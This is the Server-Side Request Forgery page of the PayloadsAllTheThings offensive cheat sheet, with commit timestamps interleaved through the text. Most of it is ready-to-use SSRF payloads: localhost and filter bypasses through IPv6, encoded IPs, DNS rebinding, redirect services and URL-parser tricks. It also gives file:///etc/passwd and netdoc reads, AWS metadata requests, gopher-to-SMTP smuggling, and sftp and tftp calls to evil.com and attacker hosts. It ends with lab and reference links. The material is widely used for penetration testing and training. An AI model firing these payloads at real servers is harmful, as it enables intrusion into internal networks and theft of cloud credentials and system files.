PayloadsAllTheThings/Server Side Request Forgery/README.md

456 lines
18 KiB
Markdown
Raw Normal View History

2019-01-28 19:27:45 +00:00
# Server-Side Request Forgery
2019-04-21 17:50:50 +00:00
> Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.
2019-01-28 19:27:45 +00:00
2019-01-28 19:27:45 +00:00
## Summary
* [Tools](#tools)
2024-11-30 18:48:32 +00:00
* [Methodology](#methodology)
* [Bypassing Filters](#bypassing-filters)
* [Default Targets](#default-targets)
* [Bypass Localhost with IPv6 Notation](#bypass-localhost-with-ipv6-notation)
* [Bypass Localhost with a Domain Redirect](#bypass-localhost-with-a-domain-redirect)
* [Bypass Localhost with CIDR](#bypass-localhost-with-cidr)
* [Bypass Using Rare Address](#bypass-using-rare-address)
* [Bypass Using an Encoded IP Address](#bypass-using-an-encoded-ip-address)
* [Bypass Using Different Encoding](#bypass-using-different-encoding)
* [Bypassing Using a Redirect](#bypassing-using-a-redirect)
* [Bypass Using DNS Rebinding](#bypass-using-dns-rebinding)
* [Bypass Abusing URL Parsing Discrepancy](#bypass-abusing-url-parsing-discrepancy)
* [Bypass PHP filter_var() Function](#bypass-php-filter_var-function)
* [Bypass Using JAR Scheme](#bypass-using-jar-scheme)
* [Exploitation via URL Scheme](#exploitation-via-url-scheme)
2024-11-07 17:31:21 +00:00
* [file://](#file)
* [http://](#http)
* [dict://](#dict)
* [sftp://](#sftp)
* [tftp://](#tftp)
* [ldap://](#ldap)
* [gopher://](#gopher)
* [netdoc://](#netdoc)
2024-11-30 18:48:32 +00:00
* [Blind Exploitation](#blind-exploitation)
* [Upgrade to XSS](#upgrade-to-xss)
* [Labs](#labs)
* [References](#references)
2019-01-28 19:27:45 +00:00
## Tools
2023-06-22 17:03:06 +00:00
- [swisskyrepo/SSRFmap](https://github.com/swisskyrepo/SSRFmap) - Automatic SSRF fuzzer and exploitation tool
- [tarunkant/Gopherus](https://github.com/tarunkant/Gopherus) - Generates gopher link for exploiting SSRF and gaining RCE in various servers
- [In3tinct/See-SURF](https://github.com/In3tinct/See-SURF) - Python based scanner to find potential SSRF parameters
2024-11-30 18:48:32 +00:00
- [teknogeek/SSRF-Sheriff](https://github.com/teknogeek/ssrf-sheriff) - Simple SSRF-testing sheriff written in Go
2024-06-27 15:01:41 +00:00
- [assetnote/surf](https://github.com/assetnote/surf) - Returns a list of viable SSRF candidates
- [dwisiswant0/ipfuscator](https://github.com/dwisiswant0/ipfuscator) - A blazing-fast, thread-safe, straightforward and zero memory allocations tool to swiftly generate alternative IP(v4) address representations in Go.
- [Horlad/r3dir](https://github.com/Horlad/r3dir) - a redirection service designed to help bypass SSRF filters that do not validate the redirect location. Intergrated with Burp with help of Hackvertor tags
2019-01-28 19:27:45 +00:00
2024-11-30 18:48:32 +00:00
## Methodology
SSRF is a security vulnerability that occurs when an attacker manipulates a server to make HTTP requests to an unintended location. This happens when the server processes user-provided URLs or IP addresses without proper validation.
Common exploitation paths:
- Accessing Cloud metadata
- Leaking files on the server
- Network discovery, port scanning with the SSRF
- Sending packets to specific services on the network, usually to achieve a Remote Command Execution on another server
**Example**: A server accepts user input to fetch a URL.
```py
url = input("Enter URL:")
response = requests.get(url)
return response
```
An attacker supplies a malicious input:
```ps1
http://169.254.169.254/latest/meta-data/
```
This fetches sensitive information from the AWS EC2 metadata service.
## Bypassing Filters
### Default Targets
By default, Server-Side Request Forgery are used to access services hosted on `localhost` or hidden further on the network.
2019-01-28 19:27:45 +00:00
2022-12-13 21:29:20 +00:00
* Using `localhost`
```powershell
http://localhost:80
http://localhost:22
2024-11-30 18:48:32 +00:00
https://localhost:443
2022-12-13 21:29:20 +00:00
```
* Using `127.0.0.1`
```powershell
http://127.0.0.1:80
http://127.0.0.1:22
2024-11-30 18:48:32 +00:00
https://127.0.0.1:443
2022-12-13 21:29:20 +00:00
```
* Using `0.0.0.0`
```powershell
http://0.0.0.0:80
http://0.0.0.0:22
2024-11-30 18:48:32 +00:00
https://0.0.0.0:443
2022-12-13 21:29:20 +00:00
```
2019-01-28 19:27:45 +00:00
2024-11-30 18:48:32 +00:00
### Bypass Localhost with IPv6 Notation
2019-01-28 19:27:45 +00:00
2024-11-30 18:48:32 +00:00
* Using unspecified address in IPv6 `[::]`
```powershell
http://[::]:80/
```
2019-01-28 19:27:45 +00:00
2024-11-30 18:48:32 +00:00
* Using IPv6 loopback addres`[0000::1]`
```powershell
http://[0000::1]:80/
```
2019-01-28 19:27:45 +00:00
2024-11-30 18:48:32 +00:00
* Using [IPv6/IPv4 Address Embedding](http://www.tcpipguide.com/free/t_IPv6IPv4AddressEmbedding.htm)
```powershell
http://[0:0:0:0:0:ffff:127.0.0.1]
http://[::ffff:127.0.0.1]
```
2019-01-28 19:27:45 +00:00
2024-11-30 18:48:32 +00:00
### Bypass Localhost with a Domain Redirect
2019-01-28 19:27:45 +00:00
2023-05-31 12:18:25 +00:00
| Domain | Redirect to |
|------------------------------|-------------|
| localtest.me | `::1` |
| localh.st | `127.0.0.1` |
| spoofed.[BURP_COLLABORATOR] | `127.0.0.1` |
| spoofed.redacted.oastify.com | `127.0.0.1` |
| company.127.0.0.1.nip.io | `127.0.0.1` |
2019-01-28 19:27:45 +00:00
2024-11-30 18:48:32 +00:00
The service `nip.io` is awesome for that, it will convert any ip address as a dns.
2019-01-28 19:27:45 +00:00
```powershell
NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1
```
2024-11-30 18:48:32 +00:00
### Bypass Localhost with CIDR
2024-11-30 18:48:32 +00:00
The IP range `127.0.0.0/8` in IPv4 is reserved for loopback addresses.
2019-01-28 19:27:45 +00:00
```powershell
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
```
2024-11-30 18:48:32 +00:00
If you try to use any address in this range (127.0.0.2, 127.1.1.1, etc.) in a network, it will still resolve to the local machine
2019-01-28 19:27:45 +00:00
2024-11-30 18:48:32 +00:00
### Bypass Using Rare Address
2024-11-30 18:48:32 +00:00
You can short-hand IP addresses by dropping the zeros
2024-11-30 18:48:32 +00:00
```powershell
http://0/
http://127.1
http://127.0.1
```
2024-11-30 18:48:32 +00:00
### Bypass Using an Encoded IP Address
2024-11-30 18:48:32 +00:00
* Decimal IP location
```powershell
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/ = http://169.254.169.254
```
2024-11-30 18:48:32 +00:00
* Octal IP: Implementations differ on how to handle octal format of IPv4.
```powershell
http://0177.0.0.1/ = http://127.0.0.1
http://o177.0.0.1/ = http://127.0.0.1
http://0o177.0.0.1/ = http://127.0.0.1
http://q177.0.0.1/ = http://127.0.0.1
```
2024-11-30 18:48:32 +00:00
### Bypass Using Different Encoding
2019-01-28 19:27:45 +00:00
2024-11-30 18:48:32 +00:00
* URL encoding: Single or double encode a specific URL to bypass blacklist
```powershell
http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin
```
2019-01-28 19:27:45 +00:00
2024-11-30 18:48:32 +00:00
* Enclosed alphanumeric: `①②③④⑤⑥⑦⑧⑨⑩⑪⑫⑬⑭⑮⑯⑰⑱⑲⑳⑴⑵⑶⑷⑸⑹⑺⑻⑼⑽⑾⑿⒀⒁⒂⒃⒄⒅⒆⒇⒈⒉⒊⒋⒌⒍⒎⒏⒐⒑⒒⒓⒔⒕⒖⒗⒘⒙⒚⒛⒜⒝⒞⒟⒠⒡⒢⒣⒤⒥⒦⒧⒨⒩⒪⒫⒬⒭⒮⒯⒰⒱⒲⒳⒴⒵ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ⓪⓫⓬⓭⓮⓯⓰⓱⓲⓳⓴⓵⓶⓷⓸⓹⓺⓻⓼⓽⓾⓿`
```powershell
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
```
2024-11-30 18:48:32 +00:00
* Unicode encoding: In some languages (.NET, Python 3) regex supports unicode by default. `\d` includes `0123456789` but also `๐๑๒๓๔๕๖๗๘๙`.
2019-01-28 19:27:45 +00:00
2024-11-30 18:48:32 +00:00
### Bypassing Using a Redirect
2020-05-13 16:19:36 +00:00
2024-11-30 18:48:32 +00:00
1. Create a page on a whitelisted host that redirects requests to the SSRF the target URL (e.g. 192.168.0.1)
2. Launch the SSRF pointing to `vulnerable.com/index.php?url=http://redirect-server`
3. You can use response codes [HTTP 307](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/307) and [HTTP 308](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/308) in order to retain HTTP method and body after the redirection.
2020-05-13 16:19:36 +00:00
2024-11-30 18:48:32 +00:00
To perform redirects without hosting own redirect server or perform seemless redirect target fuzzing, use [Horlad/r3dir](https://github.com/Horlad/r3dir).
2020-05-13 16:19:36 +00:00
2024-11-30 18:48:32 +00:00
* Redirects to `http://localhost` with `307 Temporary Redirect` status code
```powershell
https://307.r3dir.me/--to/?url=http://localhost
```
2019-01-28 19:27:45 +00:00
2024-11-30 18:48:32 +00:00
* Redirects to `http://169.254.169.254/latest/meta-data/` with `302 Found` status code
```powershell
https://62epax5fhvj3zzmzigyoe5ipkbn7fysllvges3a.302.r3dir.me
```
2019-01-28 19:27:45 +00:00
2024-11-30 18:48:32 +00:00
### Bypass Using DNS Rebinding
2019-01-28 19:27:45 +00:00
2024-11-30 18:48:32 +00:00
Create a domain that change between two IPs.
2024-11-30 18:48:32 +00:00
* [1u.ms](http://1u.ms) - DNS rebinding utility
2019-01-28 19:27:45 +00:00
2024-11-30 18:48:32 +00:00
For example to rotate between `1.2.3.4` and `169.254-169.254`, use the following domain:
2019-01-28 19:27:45 +00:00
2024-11-30 18:48:32 +00:00
```powershell
make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
2019-01-28 19:27:45 +00:00
```
2024-11-30 18:48:32 +00:00
Verify the address with `nslookup`.
2024-11-30 18:48:32 +00:00
```ps1
$ nslookup make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
Name: make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
Address: 1.2.3.4
2024-11-30 18:48:32 +00:00
$ nslookup make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
Name: make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
Address: 169.254.169.254
2019-01-28 19:27:45 +00:00
```
2024-11-30 18:48:32 +00:00
### Bypass Abusing URL Parsing Discrepancy
[A New Era Of SSRF Exploiting URL Parser In Trending Programming Languages - Research from Orange Tsai](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)
2019-01-28 19:27:45 +00:00
```powershell
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/
```
2021-03-24 11:44:35 +00:00
![https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/WeakParser.png?raw=true](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/WeakParser.jpg?raw=true)
2019-01-28 19:27:45 +00:00
2024-11-30 18:48:32 +00:00
Parsing behavior by different libraries: `http://1.1.1.1 &@2.2.2.2# @3.3.3.3/`
2024-11-30 18:48:32 +00:00
* `urllib2` treats `1.1.1.1` as the destination
* `requests` and browsers redirect to `2.2.2.2`
* `urllib` resolves to `3.3.3.3`
2024-11-30 18:48:32 +00:00
### Bypass PHP filter_var() Function
2024-11-30 18:48:32 +00:00
In PHP 7.0.25, `filter_var()` function with the parameter `FILTER_VALIDATE_URL` allows URL such as:
2019-01-28 19:27:45 +00:00
2024-11-30 18:48:32 +00:00
- `http://test???test.com`
- `0://evil.com:80;http://google.com:80/ `
2020-06-21 21:31:16 +00:00
2024-11-30 18:48:32 +00:00
```php
<?php
echo var_dump(filter_var("http://test???test.com", FILTER_VALIDATE_URL));
echo var_dump(filter_var("0://evil.com;google.com", FILTER_VALIDATE_URL));
?>
2020-06-21 21:31:16 +00:00
```
2024-11-30 18:48:32 +00:00
### Bypass Using JAR Scheme
This attack technique is fully blind, you won't see the result.
```powershell
jar:scheme://domain/path!/
jar:http://127.0.0.1!/
jar:https://127.0.0.1!/
jar:ftp://127.0.0.1!/
```
2024-11-30 18:48:32 +00:00
## Exploitation via URL Scheme
2019-01-28 19:27:45 +00:00
2024-11-30 18:48:32 +00:00
### File
2019-04-21 16:51:32 +00:00
2024-11-30 18:48:32 +00:00
Allows an attacker to fetch the content of a file on the server. Transforming the SSRF into a file read.
2019-01-28 19:27:45 +00:00
```powershell
file:///etc/passwd
file://\/\/etc/passwd
```
2019-04-21 16:51:32 +00:00
### HTTP
Allows an attacker to fetch any content from the web, it can also be used to scan ports.
2019-01-28 19:27:45 +00:00
```powershell
ssrf.php?url=http://127.0.0.1:22
ssrf.php?url=http://127.0.0.1:80
ssrf.php?url=http://127.0.0.1:443
```
2019-06-29 15:55:13 +00:00
![SSRF stream](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/SSRF_stream.png?raw=true)
2019-01-28 19:27:45 +00:00
2019-04-21 16:51:32 +00:00
### Dict
The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
2019-01-28 19:27:45 +00:00
```powershell
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
```
2019-04-21 16:51:32 +00:00
### SFTP
A network protocol used for secure file transfer over secure shell
2019-01-28 19:27:45 +00:00
```powershell
ssrf.php?url=sftp://evil.com:11111/
```
2019-04-21 16:51:32 +00:00
### TFTP
Trivial File Transfer Protocol, works over UDP
2019-01-28 19:27:45 +00:00
```powershell
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
```
2019-04-21 16:51:32 +00:00
### LDAP
Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.
2019-01-28 19:27:45 +00:00
```powershell
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
```
2019-10-17 19:13:04 +00:00
### Netdoc
2024-11-30 18:48:32 +00:00
Wrapper for Java when your payloads struggle with "`\n`" and "`\r`" characters.
2019-10-17 19:13:04 +00:00
```powershell
ssrf.php?url=netdoc:///etc/passwd
2020-01-05 21:11:28 +00:00
```
2024-11-30 18:48:32 +00:00
### Gopher
2020-05-24 12:09:46 +00:00
2024-11-30 18:48:32 +00:00
The `gopher://` protocol is a lightweight, text-based protocol that predates the modern World Wide Web. It was designed for distributing, searching, and retrieving documents over the Internet.
2020-05-24 12:09:46 +00:00
2024-11-30 18:48:32 +00:00
```ps1
gopher://[host]:[port]/[type][selector]
2020-05-24 12:09:46 +00:00
```
2024-11-30 18:48:32 +00:00
This scheme is very useful as it as be used to send data to TCP protocol.
2021-03-24 11:44:35 +00:00
2024-11-30 18:48:32 +00:00
```ps1
gopher://localhost:25/_MAIL%20FROM:<attacker@example.com>%0D%0A
2020-06-01 19:37:32 +00:00
```
2024-11-30 18:48:32 +00:00
Refer to the SSRF Advanced Exploitation to explore the `gopher://` protocol deeper.
2021-09-08 10:49:32 +00:00
2024-11-30 18:48:32 +00:00
## Blind Exploitation
2021-02-21 19:17:57 +00:00
> When exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read.
2024-11-30 18:48:32 +00:00
Use an SSRF chain to gain an Out-of-Band output: [assetnote/blind-ssrf-chains](https://github.com/assetnote/blind-ssrf-chains)
2021-02-21 19:17:57 +00:00
**Possible via HTTP(s)**
2024-11-30 18:48:32 +00:00
2021-02-21 19:17:57 +00:00
- [Elasticsearch](https://github.com/assetnote/blind-ssrf-chains#elasticsearch)
- [Weblogic](https://github.com/assetnote/blind-ssrf-chains#weblogic)
- [Hashicorp Consul](https://github.com/assetnote/blind-ssrf-chains#consul)
- [Shellshock](https://github.com/assetnote/blind-ssrf-chains#shellshock)
- [Apache Druid](https://github.com/assetnote/blind-ssrf-chains#druid)
- [Apache Solr](https://github.com/assetnote/blind-ssrf-chains#solr)
- [PeopleSoft](https://github.com/assetnote/blind-ssrf-chains#peoplesoft)
- [Apache Struts](https://github.com/assetnote/blind-ssrf-chains#struts)
- [JBoss](https://github.com/assetnote/blind-ssrf-chains#jboss)
- [Confluence](https://github.com/assetnote/blind-ssrf-chains#confluence)
- [Jira](https://github.com/assetnote/blind-ssrf-chains#jira)
- [Other Atlassian Products](https://github.com/assetnote/blind-ssrf-chains#atlassian-products)
- [OpenTSDB](https://github.com/assetnote/blind-ssrf-chains#opentsdb)
- [Jenkins](https://github.com/assetnote/blind-ssrf-chains#jenkins)
- [Hystrix Dashboard](https://github.com/assetnote/blind-ssrf-chains#hystrix)
- [W3 Total Cache](https://github.com/assetnote/blind-ssrf-chains#w3)
- [Docker](https://github.com/assetnote/blind-ssrf-chains#docker)
- [Gitlab Prometheus Redis Exporter](https://github.com/assetnote/blind-ssrf-chains#redisexporter)
**Possible via Gopher**
2024-11-30 18:48:32 +00:00
2021-02-21 19:17:57 +00:00
- [Redis](https://github.com/assetnote/blind-ssrf-chains#redis)
- [Memcache](https://github.com/assetnote/blind-ssrf-chains#memcache)
- [Apache Tomcat](https://github.com/assetnote/blind-ssrf-chains#tomcat)
2024-11-30 18:48:32 +00:00
## Upgrade to XSS
2024-11-30 18:48:32 +00:00
When the SSRF doesn't have any critical impact, the network is segmented and you can't reach other machine, the SSRF doesn't allow you to exfiltrate files from the server.
2024-11-30 18:48:32 +00:00
You can try to upgrade the SSRF to an XSS, by including an SVG file containing Javascript code.
2019-01-28 19:27:45 +00:00
```bash
2024-11-30 18:48:32 +00:00
https://example.com/ssrf.php?url=http://brutelogic.com.br/poc.svg
2019-01-28 19:27:45 +00:00
```
2022-10-02 06:13:01 +00:00
## Labs
2024-11-07 17:31:21 +00:00
* [PortSwigger - Basic SSRF against the local server](https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost)
* [PortSwigger - Basic SSRF against another back-end system](https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system)
* [PortSwigger - SSRF with blacklist-based input filter](https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter)
* [PortSwigger - SSRF with whitelist-based input filter](https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter)
* [PortSwigger - SSRF with filter bypass via open redirection vulnerability](https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection)
* [Root Me - Server Side Request Forgery](https://www.root-me.org/en/Challenges/Web-Server/Server-Side-Request-Forgery)
* [Root Me - Nginx - SSRF Misconfiguration](https://www.root-me.org/en/Challenges/Web-Server/Nginx-SSRF-Misconfiguration)
2022-10-02 06:13:01 +00:00
2019-01-28 19:27:45 +00:00
## References
2024-11-07 17:31:21 +00:00
- [A New Era Of SSRF - Exploiting URL Parsers - Orange Tsai - September 27, 2017](https://www.youtube.com/watch?v=D1S-G8rJrEk)
- [Blind SSRF on errors.hackerone.net - chaosbolt - June 30, 2018](https://hackerone.com/reports/374737)
- [ESEA Server-Side Request Forgery and Querying AWS Meta Data - Brett Buerhaus - April 18, 2016](http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/)
- [Hacker101 SSRF - Cody Brocious - October 29, 2018](https://www.youtube.com/watch?v=66ni2BTIjS8)
- [Hackerone - How To: Server-Side Request Forgery (SSRF) - Jobert Abma - June 14, 2017](https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF)
- [Hacking the Hackers: Leveraging an SSRF in HackerTarget - @sxcurity - December 17, 2017](http://web.archive.org/web/20171220083457/http://www.sxcurity.pro/2017/12/17/hackertarget/)
- [How I Chained 4 Vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! - Orange Tsai - July 28, 2017](http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html)
- [Les Server Side Request Forgery : Comment contourner un pare-feu - Geluchat - September 16, 2017](https://www.dailysecurity.fr/server-side-request-forgery/)
- [PHP SSRF - @secjuice - theMiddle - March 1, 2018](https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51)
- [Piercing the Veil: Server Side Request Forgery to NIPRNet Access - Alyssa Herrera - April 9, 2018](https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a)
- [Server-side Browsing Considered Harmful - Nicolas Grégoire (Agarri) - May 21, 2015](https://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf)
- [SSRF - Server-Side Request Forgery (Types and Ways to Exploit It) Part-1 - SaN ThosH (madrobot) - January 10, 2019](https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978)
- [SSRF and Local File Read in Video to GIF Converter - sl1m - February 11, 2016](https://hackerone.com/reports/115857)
- [SSRF in https://imgur.com/vidgif/url - Eugene Farfel (aesteral) - February 10, 2016](https://hackerone.com/reports/115748)
- [SSRF in proxy.duckduckgo.com - Patrik Fábián (fpatrik) - May 27, 2018](https://hackerone.com/reports/358119)
- [SSRF on *shopifycloud.com - Rojan Rijal (rijalrojan) - July 17, 2018](https://hackerone.com/reports/382612)
- [SSRF Protocol Smuggling in Plaintext Credential Handlers: LDAP - Willis Vandevanter (@0xrst) - February 5, 2019](https://www.silentrobots.com/ssrf-protocol-smuggling-in-plaintext-credential-handlers-ldap/)
- [SSRF Tips - xl7dev - July 3, 2016](http://web.archive.org/web/20170407053309/http://blog.safebuff.com/2016/07/03/SSRF-Tips/)
- [SSRF's Up! Real World Server-Side Request Forgery (SSRF) - Alberto Wilson and Guillermo Gabarrin - January 25, 2019](https://www.shorebreaksecurity.com/blog/ssrfs-up-real-world-server-side-request-forgery-ssrf/)
- [SSRF脆弱性を利用したGCE/GKEインスタンスへの攻撃例 - mrtc0 - September 5, 2018](https://blog.ssrf.in/post/example-of-attack-on-gce-and-gke-instance-using-ssrf-vulnerability/)
- [SVG SSRF Cheatsheet - Allan Wirth (@allanlw) - June 12, 2019](https://github.com/allanlw/svg-cheatsheet)
- [URL Eccentricities in Java - sammy (@PwnL0rd) - November 2, 2020](http://web.archive.org/web/20201107113541/https://blog.pwnl0rd.me/post/lfi-netdoc-file-java/)
- [Web Security Academy Server-Side Request Forgery (SSRF) - PortSwigger - July 10, 2019](https://portswigger.net/web-security/ssrf)
- [X-CTF Finals 2016 - John Slick (Web 25) - YEO QUAN YANG (@quanyang) - June 22, 2016](https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/)